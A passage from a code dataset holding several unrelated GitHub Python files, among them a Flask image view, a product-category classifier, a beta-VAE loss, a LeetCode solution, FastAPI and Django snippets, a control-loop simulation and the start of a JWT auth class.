= image.filename\n data['thumbnail_url'] = request.host_url + 'thumbnail/'\n data['username'] = current_username\n\n return render_template('home/my_edit_image.html', data=data)\n\n\n@home.route('/my_edit_image_save', methods=['POST'])\ndef my_edit_image_save():\n if session.get('is_login') is None or not session.get('is_login'):\n flash(u'请先登录！', 'danger')\n return redirect(url_for('user.login'))\n if request.method == 'POST':\n new_title = request.form.get('title')\n new_description = request.form.get('description')\n image_id = request.form.get('image_id')\n\n if image_id is None or not image_id:\n return redirect(url_for('error.e404'))\n\n if new_title is None or not new_title:\n return '
    标题不能为空！
    '\n\n current_user_id = session.get('user_id')\n image = Images.query.filter_by(upload_user_id=current_user_id, image_id=image_id).first_or_404()\n image.title = new_title\n image.description = new_description\n db.session.add(image)\n db.session.commit()\n\n return '
    保存成功！
    '\n\n return redirect(url_for('.my_main_view'))\n","repo_name":"lightless233/PISS","sub_path":"piss/home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"30908977263","text":"##classification with brand and subcategory\n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O \nfrom sklearn import model_selection, preprocessing, linear_model, naive_bayes, metrics, svm #deferent models were tested for better prediction\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\t#data prepocessing requirement\nimport os\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\n\n\ndirname, filename = os.path.split(os.path.abspath(__file__))\n\n\n\n#main path to the data folder\npath_to_data = dirname+'/data/'\n\n\n\n#-------------------------------------------------------------------------------\n#\tthis section is for the classification of the category1 the main category\n\n\n# primary category data fetched\n\n# text and labels as X and y\ndf = pd.read_csv(path_to_data+'dataset.csv')\nX = df['name']\ny = df['category1']\n\n\n# data cleaning operations (lowering the letters)\nxdf = X.str.lower()\nX = xdf\n\n# data cleaning operations (removing stop words)\nfrom nltk.corpus import stopwords\nstop = stopwords.words('english')\nX = X.apply(lambda x: ' '.join([word for word in x.split() if word not in (stop)]))\n\n\n# creating training and cross_validating data\ntrain_x, valid_x, train_y, valid_y = model_selection.train_test_split(X, y)\n\n# encoding the lables\nencoder = preprocessing.LabelEncoder()\ntrain_y = encoder.fit_transform(train_y)\nvalid_y = encoder.fit_transform(valid_y)\n\n\n\n# data preprocessing - transform the training and validation data using count vectorizer object\ncount_vect = CountVectorizer(analyzer='word', token_pattern=r'\\w{1,}')\ncount_vect.fit(X)\nxtrain_count = count_vect.transform(train_x)\nxvalid_count = count_vect.transform(valid_x)\n\n\n\n#model training and prediction\nclassifier = linear_model.LogisticRegression(solver='liblinear')\nclassifier.fit(xtrain_count, train_y)\npredictions = classifier.predict(xvalid_count)\naccuracy = metrics.accuracy_score(predictions, valid_y)\n# comment below to hide the accuracy of the main classifier \nprint(\"primary category classification accuracy : \" , \"{0:.4f}\".format(accuracy) ) \n\n\n#----------------------------------------------------------------------------------------\n\n# method for predicting the categories for an input 'test'\ndef run_test(test,test_classifier,count_vect,test_encoder):\n test_count = count_vect.transform(test)\n pred = test_classifier.predict(test_count)\n pred_proba = test_classifier.predict_proba(test_count)\n pred = test_encoder.inverse_transform(pred)\n #print(pred_proba[0])\n return pred, max(pred_proba[0])\n\n\n# ---------------------------------------------------------------------------------------\n\t# this section contain the classification of category2\n\n\ndef get_sub_classifier(filename,isbrand = False):\t#creating a classifier for a category or a brand\n\tfile = path_to_data+'sub_category/'+filename\n\tdf = pd.read_csv(file)\n\tX = df['name']\n\ty = df['category2']\n\tif (isbrand==True):\n\t\ty = df['brand']\n\n\txdf = X.str.lower()\n\tX = xdf\n\n\tfrom nltk.corpus import stopwords\n\tstop = stopwords.words('english')\n\tX = X.apply(lambda x: ' '.join([word for word in x.split() if word not in (stop)]))\n\n\ttrain_x, valid_x, train_y, valid_y = model_selection.train_test_split(X, y)\n\n\tsub_encoder = preprocessing.LabelEncoder()\n\ty = sub_encoder.fit_transform(y)\n\n\ttrain_x, valid_x, train_y, valid_y = model_selection.train_test_split(X, y)\n\n\tcount_vect = CountVectorizer(analyzer='word', token_pattern=r'\\w{1,}')\n\tcount_vect.fit(X)\n\txtrain_count = count_vect.transform(train_x)\n\txvalid_count = count_vect.transform(valid_x)\n\n\tclassifier = linear_model.LogisticRegression(solver='liblinear')\n\tclassifier.fit(xtrain_count, train_y)\n\tpredictions = classifier.predict(xvalid_count)\n\taccuracy = metrics.accuracy_score(predictions, valid_y)\n\t#comment to hide the accuracy of each subclassifier\n\tif(isbrand==True):\n\t\tprint(\"Brand Accuracy for subcategory (\",filename,\") : \",\"{0:.4f}\".format(accuracy))\n\telse:\n\t\tprint(\"Category Accuracy for subcategory (\",filename,\") : \",\"{0:.4f}\".format(accuracy))\n\t\n\treturn classifier,count_vect, sub_encoder\n\n\n\n\n#--------------------------------------------------------------------------------------\n\n\n\n# create classifier for each category1 elements\nhome_classifier,count_vect1 ,sub_encoder1 = get_sub_classifier('Home & Kitchen.csv')\nfashion_classifier,count_vect2 ,sub_encoder2= get_sub_classifier('Fashion Accessories.csv')\nelectronics_classifier,count_vect3,sub_encoder3 = get_sub_classifier('Electronics.csv')\nfootware_classifier,count_vect4,sub_encoder4 = get_sub_classifier('Footware.csv')\nclothing_classifier,count_vect5 ,sub_encoder5 = get_sub_classifier('Clothing.csv')\n\n\n#-------------------------------------------------------------------------------------\n\t# brand categorisation\n\n# create classifier for each brand category\n\nbrand_home_classifier,brand_count_vect1 ,brand_sub_encoder1 = get_sub_classifier('Home & Kitchen.csv',isbrand = True)\nbrand_fashion_classifier,brand_count_vect2 ,brand_sub_encoder2= get_sub_classifier('Fashion Accessories.csv',isbrand = True)\nbrand_electronics_classifier,brand_count_vect3,brand_sub_encoder3 = get_sub_classifier('Electronics.csv',isbrand = True)\nbrand_footware_classifier,brand_count_vect4,brand_sub_encoder4 = get_sub_classifier('Footware.csv',isbrand = True)\nbrand_clothing_classifier,brand_count_vect5 ,brand_sub_encoder5 = get_sub_classifier('Clothing.csv',isbrand = True)\n\n\n# method execute and print the details for the given input\ndef get_details(input):\n\n\tpred1, prob1 = run_test(input,classifier,count_vect,encoder)\n\n\tcategory = pred1[0]\n\n\t# according to the output from the main category decide which sub category will be followed\n\t# so make a parameters according to that category\n\n\tif category == 'Electronics':\n\t sub_classifier = electronics_classifier\n\t sub_count_vect = count_vect3\n\t sub_encoder = sub_encoder3\n\t brand_sub_classifier = brand_electronics_classifier\t# for brand classification\n\t brand_sub_count_vect = brand_count_vect3\t\t\t# for brand classification\n\t brand_sub_encoder = brand_sub_encoder3\t\t\t\t# for brand classification\n\telif category == 'Home & Kitchen & Automotive':\n\t sub_classifier = home_classifier\n\t sub_count_vect = count_vect1\n\t sub_encoder = sub_encoder1\n\t brand_sub_classifier = brand_home_classifier\n\t brand_sub_count_vect = brand_count_vect1\n\t brand_sub_encoder = brand_sub_encoder1\n\telif category=='Clothing':\n\t sub_classifier = clothing_classifier\n\t sub_count_vect = count_vect5\n\t sub_encoder = sub_encoder5\n\t brand_sub_classifier = brand_clothing_classifier\n\t brand_sub_count_vect = brand_count_vect5\n\t brand_sub_encoder = brand_sub_encoder5\n\telif category=='footware':\n\t sub_classifier = footware_classifier\n\t sub_count_vect = count_vect4\n\t sub_encoder = sub_encoder4\n\t brand_sub_classifier = brand_footware_classifier\n\t brand_sub_count_vect = brand_count_vect4\n\t brand_sub_encoder = brand_sub_encoder4\n\telif category=='Fashion Accesories':\n\t sub_classifier = fashion_classifier\n\t sub_count_vect = count_vect2\n\t sub_encoder = sub_encoder2\n\t brand_sub_classifier = brand_fashion_classifier\n\t brand_sub_count_vect = brand_count_vect2\n\t brand_sub_encoder = brand_sub_encoder2\n\n\tpred2, prob2 = run_test(input,sub_classifier,sub_count_vect,sub_encoder)\n\n\tbrand_pred, brand_prob = run_test(input,brand_sub_classifier,brand_sub_count_vect,brand_sub_encoder)\n\n\n\tprint(input[0])\n\tprint(\"{\\ncategory_tree\", \" : \",pred1[0],\" >> \",pred2[0])\n\tprint(\"brand : \",brand_pred[0])\n\tprint(\"scores : [ \")\n\tprint(\"\\t\",\"category : \",pred1[0],\", confidence\",\" : \",\"{0:.2f}\".format(prob1))\n\tprint(\"\\t\",\"category : \",pred2[0],\", confidence\",\" : \",\"{0:.2f}\".format(prob2))\n\tprint(\"\\t\",\"brand : \",brand_pred[0],\", confidence\",\" : \",\"{0:.2f}\".format(brand_prob))\n\tprint(\"\\t]\")\n\tprint(\"}\")\n\tprint(\"\\n\")\n\n#--------------------------------------------------------------------------------------\n\n\n\n#comment below to take input from the terminal.\n\npath_to_assignment = dirname\nf = open(path_to_assignment+'/input.txt', 'r')\t#taking input from 'input.txt' file\nlines = f.readlines()\nfor line in lines:\n\tget_details([line])\n\n\n# for taking input from console\n#print(\"Enter input : \")\n#while(1):\n#\ts = str(input())\n#\tif(s==\"exit\"):\n#\t\tbreak\n#\tget_details([s])\n \n","repo_name":"saswatmeher/Product-Categorisation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8324,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"2228848324","text":"# Implementation of beta-VAE (paper at https://openreview.net/forum?id=Sy2fzU9gl) based on pytorch\n\nimport torch\nfrom torch.nn import functional as F\nfrom torch.distributions.normal import Normal\n\nimport sys\nsys.path.append(\".\")\nsys.path.append(\"..\")\nfrom VAE import VAE\n\n\nclass BetaVAE(VAE):\n \"\"\"Class that implements beta Variational Auto-Encoder\"\"\"\n\n def __init__(self, n_input, n_hidden, dim_z, n_output, beta, binary=True, **kwargs):\n \"\"\"initialize neural networks\n :param beta: coefficient applied in loss function for KL term\n \"\"\"\n super(BetaVAE, self).__init__(n_input, n_hidden, dim_z, n_output, binary, **kwargs)\n self.beta = beta # additional coef compared to original VAE\n\n def loss_function(self, *inputs, **kwargs):\n \"\"\"loss function described in the paper (eq. (4))\"\"\"\n decoded = inputs[0]\n x = inputs[1]\n encoded = inputs[2]\n\n mu, logvar = encoded\n KLD = -0.5 * (1 + logvar - mu.pow(2) - logvar.exp()).sum(1).mean() # KL divergence term\n if self.binary:\n # likelyhood term under Bernolli MLP decoder\n MLD = F.binary_cross_entropy(decoded, x, reduction='sum').div(x.size(0))\n else:\n # otherwise, return loss under Gaussian MLP decoder\n mu_o, logvar_o = decoded\n recon_x_distribution = Normal(loc=mu_o, scale=torch.exp(0.5*logvar_o))\n MLD = -recon_x_distribution.log_prob(x).sum(1).mean()\n \n return MLD + self.beta * KLD\n\n","repo_name":"wz139704646/VAEImplementation","sub_path":"betaVAE/beta_vae.py","file_name":"beta_vae.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"2930265828","text":"class Solution:\n def topKFrequent(self, nums: list, k: int) -> list:\n\n if len(nums) == 1:\n return nums\n\n i = 0\n j = len(nums) - 1\n\n # 一个用来存每个元素以及对应出现的次数{element: times}\n d1 = {}\n # 另一个用来存次数对应的值{times: [element1, element2]}\n d2 = {}\n\n while i <= j:\n # 先看i\n if nums[i] in d1:\n d1[nums[i]] += 1\n else:\n d1[nums[i]] = 1\n # 加入d2\n if d1[nums[i]] in d2:\n d2[d1[nums[i]]].append(nums[i])\n else:\n d2[d1[nums[i]]] = [nums[i]]\n # 移除之前添加的\n if d1[nums[i]] != 1:\n d2[d1[nums[i]] - 1].remove(nums[i])\n\n i += 1\n # 再看j\n if nums[j] in d1:\n d1[nums[j]] += 1\n else:\n d1[nums[j]] = 1\n # 加入d2\n if d1[nums[j]] in d2:\n d2[d1[nums[j]]].append(nums[j])\n else:\n d2[d1[nums[j]]] = [nums[j]]\n # 移除之前添加的\n if d1[nums[j]] != 1:\n d2[d1[nums[j]] - 1].remove(nums[j])\n\n j -= 1\n\n c = list(d2.keys())\n c.sort()\n\n r = []\n for i in c[::-1]:\n # len(r) < k and\n if len(r) == k:\n return r\n\n if len(r) + len(d2[i]) <= k:\n r += d2[i]\n else:\n r += d2[i][:k - len(r)]\n\n return r\n\n def other(self, nums, k):\n import collections\n import heapq\n count = collections.Counter(nums)\n return heapq.nlargest(k, count.keys(), key=count.get)\n\n\nif __name__ == '__main__':\n s = Solution()\n r = s.topKFrequent([7, 8, 8, 9, 9, 9], 1)\n print(r)\n","repo_name":"bwisgood/leetcode","sub_path":"Hash/nknumbers.py","file_name":"nknumbers.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"10397926490","text":"from fastapi import APIRouter, Depends\nfrom ..config import get_settings, Settings\n\nrouter = APIRouter(tags=[\"home\"])\n\n\n@router.get(\"/\")\ndef home(settings: Settings = Depends(get_settings)):\n \"\"\"Returns information about the service,\n also can be used to validate if the service is working.\"\"\"\n service_info = {\n \"name\": settings.name,\n \"title\": settings.title,\n \"description\": settings.description,\n \"swagger\": settings.swagger,\n \"redoc\": settings.redoc\n }\n return service_info\n","repo_name":"ibrahimawadhamid/AAIB-Challenge-Solution","sub_path":"backend/app/routers/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"43207657254","text":"from datetime import datetime, timedelta\r\n\r\n\r\n# encapsulate\r\nclass Student:\r\n\r\n def __init__(self, name, birthday, gender):\r\n self.name = name\r\n self.birthday = birthday\r\n # private - encapsulate\r\n self.__gender = gender\r\n self.__scores = []\r\n\r\n # propery\r\n @property # read\r\n def scores(self): # def get_scores() \r\n for item in self.__scores:\r\n if item < 19:\r\n return []\r\n \r\n return self.__scores\r\n\r\n @scores.setter # write\r\n def scores(self, scores):\r\n # scores: [19, 20 , 19]\r\n\r\n for score in scores:\r\n if 0 <= score <= 20:\r\n self.__scores.append(score)\r\n else:\r\n print(\"Invalid score\")\r\n\r\n @scores.deleter # delete\r\n def scores(self):\r\n # score: 20\r\n self.__scores.clear()\r\n\r\n # -------------------------------------------\r\n @property # behaviour -> attribute\r\n def age(self): # no inputs\r\n utcnow = datetime.utcnow()\r\n year, month, day = list(map(int, self.birthday.split(\"-\")))\r\n birthdate = datetime(year=year, month=month, day=day)\r\n\r\n return (utcnow - birthdate).days // 365\r\n \r\n \r\n # behaviour\r\n # interface, gateway\r\n # def add_score(self, score):\r\n # # score: 20\r\n # if 0 <= score <= 20:\r\n # self.__scores.append(score)\r\n # else:\r\n # print(\"Invalid score\")\r\n # def get_scores()\r\n # def clear_scores()\r\n\r\n\r\nasghar = Student(\"asghar\", \"1990-03-02\", \"male\")\r\nmaryam = Student(\"maryam\", \"1999-03-02\", \"female\")\r\n\r\n# access to the attribute\r\n# print(asghar.age) \r\n\r\n# behaviours\r\n# def get_scores() scores\r\n# def set_scores()\r\n# def del_scores()\r\n\r\n# \r\n# asghar.scores = []\r\n# del asghar.scores\r\n\r\n# attribute\r\n# asghar.name = \"akbar\" # set\r\n# print(asghar.name) # get\r\n# del asghar.name # del\r\n\r\n# AttributeError: 'Student' object has no attribute '__gender'\r\n# print(asghar.__gender)\r\n# asghar.scores = [10, 12, 13]\r\n# print(asghar.scores)\r\n# Invalid data\r\n# asghar.scores = [20, 22 ,20]\r\n# print(asghar.scores)\r\n# asghar.add_score(20)\r\n\r\n# setter\r\n# asghar.scores([20 ,10 , 19]) \r\nprint(asghar.scores) # --> def scores(self):\r\nasghar.scores = [19, 20 , 19] # --> def scores(self, scores):\r\nprint(asghar.scores) # --> def scores(self):\r\ndel asghar.scores # --> @scores.deleter def scores(self):\r\nprint(asghar.scores)\r\n\r\n# asghar.scores = [10 , 19 , 20]\r\n\r\n# \r\n# print(asghar.scores)\r\n\r\n# -----------------------------\r\n# set\r\n# asghar.__scores = [20 ,10 , 19]\r\n\r\n# asghar.add_score(10)\r\n# print(asghar.scores)\r\n\r\n# asghar.scores = [10, 10 , 20]\r\n# print(asghar.scores)\r\n\r\n# print(asghar.age())\r\n# asghar.gender = \"female\"\r\n# print(asghar.gender)","repo_name":"mhd7j/Classroom-instruction","sub_path":"03_student.py","file_name":"03_student.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"9495546988","text":"a, b = input().split()\nc = input()\n\nd = int(b) + int(c)\nif d >= 60:\n minite = d % 60\n hour = int(a) + d // 60\nelse:\n minite = int(b) + int(c)\n hour = int(a)\nif hour >= 24:\n hour -= 24\nprint(hour, minite)","repo_name":"assayw119/Algorithm_Study","sub_path":"BOJ/BOJ_2xxx/2525.py","file_name":"2525.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"16938263202","text":"from pathlib import Path\nfrom django.contrib.gis.utils import LayerMapping\nfrom .models import Counties_2021\n\n\ncounties_mapping = {\n 'county': 'COUNTY',\n 'county_id': 'county_id',\n 'homicide': 'HOMICIDE',\n 'robbery': 'ROBBERY',\n 'breakings': 'BREAKINGS',\n 'stock_thef': 'STOCK_THEF',\n 'stealing': 'STEALING',\n 'vehicle_th': 'VEHICLE_TH',\n 'economic_c': 'ECONOMIC_C',\n 'corruption': 'CORRUPTION',\n 'population': 'POPULATION',\n 'crimes': 'CRIMES',\n 'crime_inde': 'CRIME_INDE',\n 'd_drugs': 'D_DRUGS',\n 'geom': 'MULTIPOLYGON',\n}\n\ncounty_shp = \"shapes/shapes/data/counties_2021.shp\"\n\n\ndef run(verbose=True):\n lm = LayerMapping(Counties_2021,county_shp, counties_mapping)\n lm.save(strict=True, verbose=verbose)","repo_name":"Kevin-Kiprotich/CIMS_Backend","sub_path":"shapes/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"14352341986","text":"# Určete hodnoty proměnných junk, a, b tak, aby po naznačených úkonech měl seznam junk hodnotu stejnou jako na posledním řádku:\n\"\"\"\n >>> 13 in junk\n True\n >>> del junk[4]\n >>> junk\n [3, 7, 9, 10, 13, 17, 21, 24, 27]\n >>> del junk[a:b]\n >>> junk\n [3, 7, 27]\n\"\"\"\n# --> del junk[a:b] == del junk[2:-1]\n\n# Nakreslete schema seznamu nlist, do kterého doplníte dále uvedené hodoty 0, 17, 5:\n\"\"\"\n >>> nlist[2][1]\n 0\n >>> nlist[0][2]\n 17\n >>> nlist[1][1]\n 5\n\"\"\"\nnlist = [\n [0, 0, 17],\n [0, 5, 0],\n [0, 0, 0]\n]\n\n# Podle výstupu z metody .split() sestavte hodnotu proměnné retiazka:\n\"\"\"\n >>> retiazka.split()\n ['this', 'and', 'that']\n\"\"\"\nretiazka = 'this and that'","repo_name":"mirekmrnak/howtopycz","sub_path":"chapter8/dedukce.py","file_name":"dedukce.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"5868189670","text":"from django.conf.urls import url\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom . import views_company, view_contact, view_role, view_company_type\n\nurlpatterns = [\n\n url(r'^company-type/$', view_company_type.all_company_types),\n url(r'^company-type/(?P[0-9]+)/$', view_company_type.single_company_type),\n\n url(r'^role/$', view_role.all_roles),\n url(r'^role/(?P[0-9]+)/$', view_role.single_role),\n\n url(r'^contact/$', view_contact.all_contacts),\n url(r'^contact/(?P[0-9]+)/$', view_contact.single_contact),\n url(r'^contact-by-csid/(?P[0-9]+)/$', view_contact.get_contact_by_csid),\n\n url(r'^company/$', views_company.all_companies),\n url(r'^company/(?P[0-9]+)/$', views_company.single_company),\n\n url(r'^contact-by-email/(?P[\\w.%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4})/$', view_contact.get_contact_by_email),\n url(r'^contact-by-username/(?P[\\w\\s]+)/$', view_contact.get_contact_by_username),\n\n url(r'^company-by-code/(?P\\w{0,50})/$', views_company.get_company_by_code),\n url(r'^company-by-csid/(?P[0-9]+)/$', views_company.get_company_by_csid),\n url(r'^company-freesearch/(?P[\\w\\s-]+)/$', views_company.get_company_freesearch),\n\n url(r'^relation/$', view_contact.all_relations),\n\n url(r'^$', views_company.index, name='index'),\n]\n\nurlpatterns = format_suffix_patterns(urlpatterns)\n","repo_name":"topix-hackademy/contact-tools","sub_path":"contacts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"16230796065","text":"\"\"\"\nFile to write clustering to database\n\"\"\"\n\nimport datetime\nimport sys\nfrom db import get_db_connection\nfrom util import md5_hash\nfrom query_util import *\n\nformat = \"%Y-%m-%d %H:%M:%S\"\nconn = get_db_connection()\ncursor = conn.cursor()\nsolution_file = sys.argv[1]\n\nwith open(solution_file,'r') as f:\n for line in f:\n\n tokens = line.split(\" \")\n tokens = tokens[:-1]\n score = float(tokens[0])\n cluster_str = \",\".join([x for x in tokens[1:]])\n clustering_id = md5_hash(cluster_str)\n\n if is_clusterting_present(cursor,clustering_id):\n continue\n\n if len(tokens[1:]) <= 2:\n continue\n\n ctime = datetime.datetime.strftime(datetime.datetime.utcnow(),format)\n sql_query = \"insert into football_news.clusters(cluster_id,score,components,created_date) values ('\"+ clustering_id + \"',\"+ str(score) +\",'\"+ cluster_str+\"','\"+ ctime +\"')\"\n insert(cursor,sql_query)\n conn.commit()\n\ncursor.close()\nconn.close()\n","repo_name":"akshayk0406/Football-News-Aggregator","sub_path":"app/insert_feeds.py","file_name":"insert_feeds.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"22746729171","text":"import os, sys\nimport random\nimport math\nimport feedback as fb\nimport matplotlib.pyplot as mp\nimport pvsioSocket as ps\nimport prettyplotlib as ppl\nfrom datetime import datetime\nimport logging\nfrom scipy import signal\nimport numpy as np\nimport decimal\n\n\n## Set up logging\nlogging.basicConfig(filename='compare.log',format='%(message)s', level=logging.INFO)\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.INFO)\nformatter = logging.Formatter('%(levelname)s: %(message)s')\nconsole.setFormatter(formatter)\nlogging.getLogger('').addHandler(console)\n\nSWITCH_SENSITIVITY = 0.1\nNOISE_SIGMA = 10\n\ntstart = datetime.now() # Used to calculcate time to run simulation\nspeed = [] # Used to calculcate average time to finish for iterations\n\nmaxdisplay = []\n\n# Set up graphs\nwith ppl.pretty:\n fig = mp.figure(figsize=(8,6))\n ax = fig.add_subplot(111)\n\nif len(sys.argv) > 1:\n ref = float(sys.argv[1])\nelse:\n ref = 56.7\n\n\nclass Device (fb.Component):\n def __init__(self):\n self.xi = 0\n self.prev = None\n self.ws = None\n\n def work( self, u):\n\n if(self.ws == None):\n self.ws,self.prev = ps.connect(u) # connect to pvsio-web server\n else:\n self.prev = ps.getDisplay(self.ws,u,self.prev) # Get displayed value from pvsio-web\n\n self.xi = self.prev['left_display']\n\n return self.xi\n\n\n\nclass Controller(fb.Component):\n def __init__( self, kp,k1,k2,xref, hasNoise=True,delay=0):\n self.prev = xref\n self.prev2 = xref\n self.yprev = 1\n self.kp = kp\n self.k1 = k1\n self.k2 = k2\n self.u=0\n self.hasNoise = hasNoise\n self.sigma = NOISE_SIGMA\n self.square = False # boolean toggle for square wave\n self.delay = delay\n self.usignal = []\n self.eplot = []\n self.xplot = []\n self.yplot =[]\n self.reference =[xref]\n self.h=signal.firwin(9, 0.1) # simple low-pass filter, FIR design using window method, 9 taps and 0.1 as cutoff\n # taps = Length of the filter (number of coefficients, i.e. the filter order + 1).\n self.noise = []\n self.crossings = 0\n self.last_sign = 1\n self.ended = False\n self.maxvalue = 0\n\n d = decimal.Decimal(str(xref))\n places = abs(d.as_tuple().exponent)\n if(places > 1):\n logging.debug(\"Setpoint has two decimal places\")\n self.sigma = NOISE_SIGMA/10.0 # use smaller noise signal\n\n\n\n def work( self, e):\n\n # stop if target reached\n if(len(self.usignal)>0):\n if(e == 0 and self.usignal[-1] == 0):\n self.eplot.append(0);\n if self.ended == False:\n logging.debug(\"Reached target value\")\n speed.append((len(self.usignal)-1)/4.0)\n logging.debug(\"Speed: \" + str(speed[-1]))\n maxdisplay.append(self.maxvalue)\n self.ended = True;\n return 0;\n\n logging.debug(\"Actual error: \" + str(e))\n e += self._noise() # Introduce noise, if any\n\n logging.debug(\"Perceived error: \" + str(e))\n self.eplot.append(e)\n\n self.d = ( e - self.prev )/fb.DT # First derivative\n self.d2 = (e - 2*self.prev + self.prev2)/((fb.DT)**2) # Second derivative\n\n logging.debug(\"First derivative: \" +str (self.d))\n logging.debug(\"Second derivative: \" + str(self.d2))\n\n # Count number of crossings\n if len(self.yplot) > 2:\n if( ((self.yplot[-2] > self.reference[-1]) and (self.yplot[-1] < self.reference[-1]))\n or ((self.yplot[-2] < self.reference[-1]) and (self.yplot[-1] > self.reference[-1])) ):\n self.crossings +=1\n\n if self.yplot[-1] > self.maxvalue:\n self.maxvalue = self.yplot[-1]\n\n\n ## Begin - hybrid automation\n\n if self.reference[-1] > 100: # for large setpoints, use larger constant value for switch signal\n self.switch = 100\n else:\n self.switch = (SWITCH_SENSITIVITY*self.reference[-1]) # for small setpoints, switch signal changes proportionately\n logging.debug(\"Switch signal: %.2f\", self.switch)\n\n if (abs(e) > self.switch):\n self.u = self.kp * ((self.k1 * math.copysign(1, e))-(self.k2 * math.copysign(1,self.d)))\n\n else: # |e(t)| <= switch signal\n self.square = not self.square # square wave\n\n if(self.square):\n if((self.crossings > 2) and (abs(e) < 1.0)): #if overshot three times or more and the error is small, only use small chevron\n self.u = self.kp * (self.k1 - self.k2) * math.copysign(1,e)\n else:\n # This is the default behaviour\n self.u = (self.kp * ((self.k1 * math.copysign(1,e))-(self.k2 * math.copysign(1,self.d))))\n else:\n self.u = 0\n\n ## End - hybrid automation\n\n # Record output signal\n self.usignal.append(self.u)\n\n # Introduce variable delay, but not for stepping behaviour\n if( (self.delay > 0) and (abs(self.prev) > self.switch)):\n varDelay = random.randint(1,self.delay)\n\n if varDelay > 0:\n if len(self.usignal) < varDelay:\n self.u = 0\n else:\n ##Delay\n logging.debug(\"self.usignal[-%d] = %.2f \",varDelay, self.usignal[-varDelay])\n self.u = self.usignal[-varDelay] #delay u(t) by x timesteps\n\n\n # If output signal has changed signs, first set to zero to simulate finger switching between buttons\n if ((self.u != 0) and (len(self.usignal) > 0)):\n self.sign = self.u / abs(self.u)\n\n if self.sign == -self.last_sign:\n self.last_sign = self.sign\n self.u = 0\n self.usignal[-1]=self.u #replace previous recording of output signal\n\n\n #Record previous error to calculate derivatives\n self.prev2 = self.prev\n self.prev = e\n\n\n logging.debug(\"self.u = %.2f\", self.u)\n return self.u\n\n\n def _noise(self):\n if self.hasNoise == False:\n return 0\n\n self.noise.append(fb.DT*random.gauss( 0, self.sigma ))\n y=signal.lfilter( self.h, 1.0, self.noise)\n logging.debug(\"Random: %.2f\", y[-1])\n return y[-1]\n\n\ndef setpoint(t):\n return ref\n\nfb.DT = 0.1\ntm = 160\n\nfor i in range(0,33):\n\n c = Controller( 1, 5.5, 4.5, setpoint(0),hasNoise=True, delay=2)\n\n p = Device()\n\n fb.closed_loop(setpoint, c, p, tm)\n logging.debug(\"Crossings: \" +str(c.crossings))\n\n newxplot = [x / 4.0 for x in c.xplot] # Each time step is 250ms\n\n ppl.plot(ax,newxplot,c.reference,'b')\n ppl.plot(ax,newxplot, c.yplot)\n\nlogging.debug(\"Time to run: \" + str(datetime.now() - tstart))\n\nspeed = np.array(speed)\nlogging.debug(\"Maximum displayed value: \" + str(max(maxdisplay)))\nlogging.debug(\"Mean: \" + str(np.mean(speed)))\nlogging.debug(\"Standard deviation: \" + str(np.std(speed)))\nlogging.info(str(setpoint(0))+\",\"+str(np.mean(speed))+\",\"+str(np.std(speed)))\n\nmp.xlabel(\"Time (s)\")\nmp.ylabel(\"Displayed value\")\nmp.text(0.5,setpoint(0)+0.1,\"Setpoint\")\nfig = mp.gcf() # get current figure\nfig.set_size_inches(11.69, 8.27)\n#mp.show()\nfig.savefig(\"graphs/compareResults\"+str(setpoint(0))+\".pdf\",format=\"pdf\",papertype='a4',dpi=100)\nmp.close()\n","repo_name":"gniezen/InteractionLoops","sub_path":"simulation.py","file_name":"simulation.py","file_ext":"py","file_size_in_byte":7473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"31944353093","text":"import json\nfrom fastapi import Request, HTTPException, Security\nfrom fastapi.security import HTTPBearer, HTTPAuthorizationCredentials\n\nfrom jose import jwt\nfrom urllib.request import urlopen\nfrom jwcrypto import jwk\n\nfrom config.setting import (\n AUTH_CACHE_TTL,\n TOKEN_GENERATION_KEY,\n AWS_COGNITO_REGION,\n AWS_COGNITO_USERPOOL_ID,\n AWS_COGNITO_USER_GROUP,\n)\nfrom .cache import get as get_cache\nfrom .cache import set as set_cache\nfrom i18n import t\nfrom models.member import Member\nfrom utils.aws import get_user_from_cognito\n\n\nclass AuthError(Exception):\n def __init__(self, error, status_code=401):\n self.error = error\n self.status_code = status_code\n\n\nclass Auth:\n def __init__(self):\n pass\n\n def __call__(\n self,\n request: Request,\n authorization: HTTPAuthorizationCredentials = Security(\n HTTPBearer(auto_error=False)\n ),\n ):\n\n if not authorization:\n raise HTTPException(\n 403, detail=t(\"fmbiz.auth.errors.not_authenticated\")\n )\n\n token = authorization.credentials\n payload = self.verify_token(token)\n\n # check user's group\n if 